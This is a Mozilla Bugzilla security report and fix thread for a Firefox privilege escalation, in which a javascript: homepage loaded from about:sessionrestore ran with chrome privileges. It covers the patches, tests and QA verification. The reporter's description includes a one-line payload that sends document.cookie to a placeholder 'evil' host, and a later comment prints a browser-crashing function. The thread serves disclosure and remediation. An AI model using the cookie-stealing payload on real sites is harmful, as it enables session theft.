Last Comment Bug 719994 - (CVE-2012-0458) loads of principal-inheriting URIs (e.g. javascript:) on chrome-privileged pages (e.g. about:sessionstore) allows unexpected privilege escalation
(CVE-2012-0458)
: loads of principal-inheriting URIs (e.g. javascript:) on chrome-privileged pa...
Status: VERIFIED FIXED
[sg:critical][qa!] fixed in bug 723808
: verified1.9.2
Product: Core
Classification: Components
Component: Document Navigation (show other bugs)
: Trunk
: All All
: -- major (vote)
: mozilla13
Assigned To: :Gavin Sharp [email: gavin@gavinsharp.com]
:
Mentors:
Depends on: 718203
Blocks:
  Show dependency treegraph
 
Reported: 2012-01-20 13:47 PST by Mariusz Mlynski
Modified: 2014-06-27 07:57 PDT (History)
13 users (show)
rforbes: sec‑bounty+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
wontfix
-
wontfix
+
verified
+
verified
+
verified
11+
verified
.28+
.28-fixed


Attachments
patch (1.94 KB, patch)
2012-01-25 20:58 PST, :Gavin Sharp [email: gavin@gavinsharp.com]
bzbarsky: feedback+
Details | Diff | Review
patch v2 (1.50 KB, patch)
2012-01-26 13:51 PST, :Gavin Sharp [email: gavin@gavinsharp.com]
no flags Details | Diff | Review
patch v3, with tests (6.19 KB, patch)
2012-01-31 16:00 PST, :Gavin Sharp [email: gavin@gavinsharp.com]
bzbarsky: review+
Details | Diff | Review
test_focus test fix (1.72 KB, patch)
2012-02-01 18:10 PST, :Gavin Sharp [email: gavin@gavinsharp.com]
no flags Details | Diff | Review
sessionstore test fix (806 bytes, patch)
2012-02-01 18:12 PST, :Gavin Sharp [email: gavin@gavinsharp.com]
paul: review+
Details | Diff | Review
test_focus test fix, v2 (1.75 KB, patch)
2012-02-01 18:34 PST, :Gavin Sharp [email: gavin@gavinsharp.com]
enndeakin: review+
Details | Diff | Review

Description Mariusz Mlynski 2012-01-20 13:47:09 PST
Created attachment 590328 [details]
a crude PoC I used, will crash Firefox after restart

It is possible to trap user on a chrome privileged page with buttons leading to arbitrary code if a browser session is launched with a maliciously crafted homepage URI.

There are 2 things which combined may effectively prevent users from realizing they deal with a malicious link when they set their homepage by dropping an image on the home button:

1. Using DataTransfer, text/x-moz-url of the drag can be manipulated on the fly.
2. Firefox displays a misleading prompt after dropping a link on the home button -- it says that "this document" is being set as the homepage, which is incorrect.

Thus, the user has no way of knowing what URI will be set as homepage without inspecting the source. Unless they realize that both the status bar of the dragged image and the prompt message from the browser are misleading and go check the newly set home page in Options->General (instead of simply pressing the home button to see if it goes where expected), it can be leveraged by a malicious party in 2 ways:

1. Stealing cookies.

The obvious and not very interesting scenario -- javascript:Image().src='http://evil/'+encodeURI(document.cookie);location.href='http://theactualwebsite' will silently steal cookies of every website the user navigates away from by pressing the home button.

2. Code execution.

Here's a video demonstrating the concept: http://www.youtube.com/watch?v=xDmyWk58Xo4 (select fullscreen and 1080p for the optimal quality)

- The malicious website detects the draginit event of the icon and verifies that the desired URI landed on the homepage by probing an iframed javascript:window.home(), then it sets the cookie to schedule a crash in the next browsing session.
- When a new session is started, the website starts crashing the browser.
- After 2 crashes, the user is presented with about:sessionrestore and 2 options. If they decide to restore the session, Firefox will crash again and the user will return to about:sessionrestore. Trying to remove the home page tab from the list will disable the restore button. If they click the other button -- "start a new session" -- the javascript link will inherit chrome privileges from about:sessionrestore and an arbitrary code will be executed. Pressing the home button will execute the payload as well.

Seeing that this method of setting home page is fairly popular (several well known websites provide their drag icons) and it is a seemingly innocuous action, you may want to disallow setting URI_INHERITS_SECURITY_CONTEXT as a homepage -- unless you see a demand for using bookmarklets as homepages, it would be the easiest way to make this feature safe. Displaying the actual URI in the confirmation prompt would make it less prone to abuse, too.
Comment 1 Al Billings [:abillings] 2012-01-25 16:36:56 PST
Crashed in Nightly (Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:12.0a1) Gecko/20120125 Firefox/12.0a1). Crash report at https://crash-stats.mozilla.com/report/index/bp-3c6bb9d6-8c62-48e8-baea-0670d2120126.
Comment 2 Daniel Veditz [:dveditz] 2012-01-25 16:45:52 PST
This would be prevented by my suggested fix in bug 718203 (don't allow javascript: home pages or dropping on the home button), basically issue 1 here is a dupe of that bug. But something much worse is going on in issue 2, session restore shouldn't be running this with chrome privilege regardless.
Comment 3 Paul O'Shannessy [:zpao] (not reading much bugmail, email directly) 2012-01-25 19:49:02 PST
Ok, so this isn't so hot.

Obviously the launching is bad, but it isn't local to about:sessionrestore, though this trap makes it easy to get into that state. This works from any page that has chrome privs (eg, about:config, about:memory, about:addons).

It works from bookmarklets too.

What Gavin has so far in bug 718203 is a good step and I think the further step that he & I talked about is to completely disallow inheriting the principal from privileged pages. Together that should prevent this attack entirely (though crashing the browser with that JS isn't cool but that's a different story).

(In reply to Mariusz Mlynski from comment #0)
> Displaying the actual
> URI in the confirmation prompt would make it less prone to abuse, too.

Agreed, though we can do that in another bug.
Comment 4 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-01-25 20:57:42 PST
Displaying the URL being used is bug 341108 (would be easy to fix).

Bug 718203 will neuter dropping of javascript: links on the home button.

For this bug, I think we should consider making it impossible for loads in type=content docshells to inherit the system principal. We have more and more privileged in-content pages, and it's not really feasible to explicitly protect all loads into them with DISALLOW_INHERIT_OWNER. Would love some feedback on whether this approach is feasible from a compatibility point of view...
Comment 5 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-01-25 20:58:36 PST
Created attachment 591690 [details] [diff] [review]
patch

I tried to limit it to the cases where we're actually re-using a current document. bz, what do you think about this?
Comment 6 Mariusz Mlynski 2012-01-25 21:32:02 PST
(In reply to Gavin Sharp (use gavin@gavinsharp.com for email) from comment #4)
> Bug 718203 will neuter dropping of javascript: links on the home button.

Does it cover data URIs as well? Similarly to javascript links, they are privileged under "start a new session" and have access to DOM of websites the home button is pressed on.
Comment 7 Boris Zbarsky [:bz] 2012-01-26 02:13:38 PST
Comment on attachment 591690 [details] [diff] [review]
patch

We're not reusing the current document, we're inheriting its principal.  ;)

I wonder whether we could just make aConsiderCurrentDocument false in the d&d case.  Maybe a followup?

The patch looks fine, but please use nsContentUtils::IsSystemPrincipal and nix all the XPCOM goop.  ;)
Comment 8 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-01-26 13:24:53 PST
(In reply to Boris Zbarsky (:bz) from comment #7)
> I wonder whether we could just make aConsiderCurrentDocument false in the
> d&d case.  Maybe a followup?

Hmm, what do you mean by "the d&d case"? These loads are being triggered by clicking the home button (i.e. a normal UI-triggered loadURI call), once your home page is set to a javascript: URI. The idea behind this approach was to neuter system-principal-inheriting in content docshells in general, precisely so we can avoid having to hunt down all of the dangerous ways to possibly trigger such a load.
Comment 9 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-01-26 13:51:24 PST
Created attachment 591933 [details] [diff] [review]
patch v2

Simplified the patch somewhat. I will write tests for this.
Comment 10 Daniel Veditz [:dveditz] 2012-01-26 16:19:06 PST
Won't this break bookmarklets run against privileged pages? All the geeky uses I personally had for that can now be accomplished through the webdev tools (albeit via clumsy copy/paste rather than convenient keywords) so I'm happy to close off this escalation path, but we should be aware of the fall-out.
Comment 11 Boris Zbarsky [:bz] 2012-01-27 02:07:14 PST
> These loads are being triggered by clicking the home button 

Ah, I missed that.  I do think we should consider changing that too, again as a followup.  Otherwise a home button javascript: url could be used to affect random webpages, which is still not great.

As far as comment 10 goes, yes it would break such bookmarklets.....
Comment 12 Boris Zbarsky [:bz] 2012-01-27 02:08:40 PST
Hold on.  Hold on.  That second patch is pretty darned different from the first one...  I'm a lot less convinced that it's safe (in particular it could break extensions, I suspect).
Comment 13 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-01-30 11:07:34 PST
(In reply to Boris Zbarsky (:bz) from comment #12)
> Hold on.  Hold on.  That second patch is pretty darned different from the
> first one...  I'm a lot less convinced that it's safe (in particular it
> could break extensions, I suspect).

I don't understand the distinction. My simplifying assumption from patch #1 to patch #2 was that EnsureContentViewer() will never result in a document whose principal is the system principal. Is that an invalid assumption?
Comment 14 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-01-30 11:16:22 PST
Or is the issue that we don't want to block the inheriting when the principal was inherited from the same-type parent? I don't know when that occurs in practice.
Comment 15 Boris Zbarsky [:bz] 2012-01-30 11:26:23 PST
I _think_ so, yes.  If you just open a new tab via the UI, I believe right now you get a system-principal about:blank in it.  Arguably a bug....

But more to the point the last patch will, I think, change the behavior of this in chrome:

  <iframe type="content" src="javascript:something()">

and make "something" run as non-system.  I think.  Worth double-checking.
Comment 16 Boris Zbarsky [:bz] 2012-01-30 11:28:17 PST
Inheriting from a same-type parent would be if about:addons or something had an <iframe> with no url inside and then injected some DOM into it (still without loading a URL).  Should that DOM run with the system principal?  With the attached patch, it won't.
Comment 17 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-01-30 14:32:15 PST
(In reply to Boris Zbarsky (:bz) from comment #15)
> I _think_ so, yes.  If you just open a new tab via the UI, I believe right
> now you get a system-principal about:blank in it.  Arguably a bug....

AFAICT this isn't the case. New-tab about:blanks seem to have non-system principals whose origin is "moz-safe-about:blank".

>   <iframe type="content" src="javascript:something()">
> 
> and make "something" run as non-system.  I think.  Worth double-checking.

Without my patch applied, I just tested putting:
<iframe type="content" src="javascript:alert(Components.stack)"/>

into a chrome document. The result was a security exception:
Error: Permission denied for <moz-safe-about:blank> to get property XPCComponents.stack
Source File: javascript:alert(Components.stack)

If I remove the 'type="content"', it alerts the stack.
Comment 18 Boris Zbarsky [:bz] 2012-01-30 14:36:23 PST
What about <iframe type="content"> followed by a window.location set to a javascript: URI?

In any case, the about:addons example from comment 16 worries me more.
Comment 19 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-01-31 16:00:56 PST
Created attachment 593254 [details] [diff] [review]
patch v3, with tests

This goes back to the initial approach, and adds tests for the relevant cases.
Comment 20 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-01-31 17:12:19 PST
(In reply to Daniel Veditz from comment #10)
> Won't this break bookmarklets run against privileged pages?

Yep, it will. I think we can live with breaking that. There are other ways to hack your browser, as you mention :)
Comment 21 Boris Zbarsky [:bz] 2012-01-31 18:08:15 PST
Comment on attachment 593254 [details] [diff] [review]
patch v3, with tests

Yeah, much safer.  r=me
Comment 22 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-02-01 18:10:21 PST
Created attachment 593690 [details] [diff] [review]
test_focus test fix

This test depends on a load of a data: URI in a chrome-privileged content docshell. I'm not sure why it does that, rather than just calling back() the page being loaded (which doesn't require privileges) - maybe there was a reason?
Comment 23 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-02-01 18:12:47 PST
Created attachment 593692 [details] [diff] [review]
sessionstore test fix

This test also relies on loading data: URIs in chrome-privileged iframes. I don't think this test intentionally chose to run using chrome:// URIs, so just switching it to load files via http:// avoids that problem. I verified that it still fails if I make hasExpectedURL always return true.
Comment 24 Boris Zbarsky [:bz] 2012-02-01 18:14:20 PST
That change changes the test substantially.  It makes the back() call happen sync during load, not async after onload.

That said, just doing the back() off a timeout from onload should reasonably preserve the old behavior, I think.
Comment 25 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-02-01 18:34:05 PST
Created attachment 593697 [details] [diff] [review]
test_focus test fix, v2
Comment 26 Neil Deakin 2012-02-02 09:26:56 PST
Comment on attachment 593697 [details] [diff] [review]
test_focus test fix, v2

This should be ok I think, assuming that window.back gets called after painting when focus is set on the new document (in nsPresShell::UnsuppressAndInvalidate) Maybe bz can comment if this isn't the case.
Comment 27 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-02-02 19:35:07 PST
Jesse suggested I fix this in a public bug (easier to track regressions and such), so I attached a rollup patch to bug 723808, which I'll use a reference when landing this.
Comment 28 Paul O'Shannessy [:zpao] (not reading much bugmail, email directly) 2012-02-03 15:28:03 PST
Comment on attachment 593692 [details] [diff] [review]
sessionstore test fix

I wasn't around for that bug, but the "(cross domain)" used in the helper makes me wonder if it may have been intentional to not use "mochi.test" for rootDir. But the bug never mentioned cross domain, just not same url. And if it still fails when it's supposed to then I guess we're ok.
Comment 29 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-02-04 15:24:35 PST
FIXED in bug 723808
Comment 30 Daniel Veditz [:dveditz] 2012-02-05 10:17:19 PST
I haven't tested it yet, but is there anything that prevents this attack from working on Firefox 3.6? The underlying change in bug 723808 would certainly improve 3.6 even if this PoC turns out not to work.
Comment 31 Mariusz Mlynski 2012-02-05 10:42:36 PST
(In reply to Daniel Veditz from comment #30)
> I haven't tested it yet, but is there anything that prevents this attack
> from working on Firefox 3.6?

A different DoS vector would have to be picked for 3.6.26, but other than that, it works the same.
Comment 33 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-02-15 17:40:15 PST
Fixed on branches in bug 723808 comment 10.
Comment 34 Lukas Blakk [:lsblakk] use ?needinfo 2012-02-23 16:46:33 PST
[Triage comment]

This bug is being tracked for landing on ESR branch.  Please land patches on http://hg.mozilla.org/releases/mozilla-esr10/by Thursday March 1, 2012 in order to be ready for go-to-build on Friday March 2, 2012.

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more information.
Comment 35 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-05 10:46:03 PST
Unable to reproduce the crash in Firefox 10.0.3esr -- marking verified.
Comment 37 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-06 13:53:00 PST
Verified fixed with Firefox 3.6.28 build 1.
Comment 38 Jason Smith [:jsmith] 2012-03-08 15:43:39 PST
Reopening this bug. Fails with these reproduction steps:

1. Start Firefox 10.0.2 with a new profile.
2. Start the index.html in the PoC attached
3. Make that index.html your homepage following what is shown in the video
4. Make that index.html an app tab (pin it)
5. Close firefox 10.0.2
6. Open a newer version of Firefox (11, 12, 13)

Expected:

The browser should not crash with a new version of firefox.

Actual:

The browser crashes.
Comment 39 Jason Smith [:jsmith] 2012-03-08 15:48:14 PST
Note: We need to re-test this fix on Firefox 3.6.28 build 1 and Firefox ESR 10 to see if this issue happens there as well.
Comment 40 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-08 16:02:51 PST
Reverting flags until we can get more information if this is really not fixed.
Comment 41 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-08 16:05:49 PST
Can someone else on this bug who was able to reproduce the initial crash please verify what Jason is testing? Is this the same exploit condition?

Jason, are you simply opening the same profile in 10.0.2 (unfixed) as you are in Firefox 11, 12, and 13 (fixed)?
Comment 42 Jason Smith [:jsmith] 2012-03-08 16:20:04 PST
This test case passes if the same version of Firefox is used throughout on Firefox 11, 12, and 13. In other words:

1. Start Firefox 11, 12, or 13 with a new profile.
2. Start the index.html in the PoC attached
3. Make that index.html your homepage following what is shown in the video
4. Make that index.html an app tab (pin it)
5. Close firefox 11, 12, or 13
6. Open firefox 11, 12, or 13

Going to go see if this upgrade issue reproduces on 3.6.28 and ESR. Also, going to see if this issue happens on another machine.
Comment 43 Jason Smith [:jsmith] 2012-03-08 16:39:19 PST
Confirmed that this upgrade bug in comment 38 happens on a different machine.
Comment 44 Jason Smith [:jsmith] 2012-03-08 16:44:14 PST
Confirmed that this upgrade issue also occurs on ESR.
Comment 45 Jason Smith [:jsmith] 2012-03-08 16:46:41 PST
On comment 41 - Yes. I take advantage of the security vulnerability in Firefox 10.0.2 (unfixed) on a profile. Then, I start a newer version of Firefox (11, 12, or 13) with that same profile. A crash will then happen.
Comment 46 Jason Smith [:jsmith] 2012-03-08 16:53:14 PST
The upgrade issue does not occur on FF 3.6.28. Might be a regression?
Comment 47 Jason Smith [:jsmith] 2012-03-08 16:57:12 PST
Gavin Sharp, is the issue seen comment 38 a concern that result in reopening the bug? The upgrade issue can occur in Firefox 10 ESR, 11, 12, and 13.
Comment 48 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-03-08 17:24:01 PST
Sorry for the confusion guys. This exploit doesn't actually have anything to do with the crashing - that's just a mechanism used to get the about:sessionstore page to appear.

The exploit is actually about what happens once you're in that situation - about:sessionstore displayed - and your home page is set to a javascript: URI. Clicking the "Start New Session" button in that scenario should not result in the loading of your javascript: home page URI with full privileges (after this fix, the javascript: URI won't run at all).
Comment 49 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-08 18:02:28 PST
Jason, can you retest the scenario as Gavin describes?
Comment 50 Jason Smith [:jsmith] 2012-03-08 20:54:37 PST
Verified on affected builds that the arbitrary code is not executed for FF 10 ESR, FF 11, 12, 13.

Should we log a separate issue for the crash that we've discovered?
Comment 51 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-08 21:08:48 PST
(In reply to Jason Smith from comment #50)
> Verified on affected builds that the arbitrary code is not executed for FF
> 10 ESR, FF 11, 12, 13.

Thanks Jason.

> Should we log a separate issue for the crash that we've discovered?

If I understand this correctly, I think the PoC is supposed to crash Firefox so that about:sessionrestore is displayed, thereby exposing the exploit condition. 

Gavin, can you confirm if the crash is expected (ie. not a bug)?
Comment 52 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-03-09 10:19:42 PST
Well, all crashes are bugs :) I assumed this one was just one of the many known DoS-crashes, perhaps picked up from Bugzilla. I haven't looked into it further - perhaps Mariusz can enlighten us!
Comment 53 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-03-09 10:20:21 PST
(stupid bugzilla)
Comment 54 :Gavin Sharp [email: gavin@gavinsharp.com] 2012-03-09 10:36:33 PST
Looks like the crash in question may be bug 636487:
function crash(){
	a=Error();
	a.toString=0;
	throw a;
}
Comment 55 Jeff Walden [:Waldo] (remove +bmo to email) 2012-03-12 11:41:18 PDT
Yeah, that looks right to me.  It'd be easy to test, just substitute |return false;| for |bytes = "unknown (can't convert to string)";| in the code noted in bug 636487 comment 3.
Comment 56 Raymond Forbes[:rforbes] 2013-07-19 18:09:46 PDT
 rforbes-bugspam-for-setting-that-bounty-flag-20130719

Note You need to log in before you can comment on or make changes to this bug.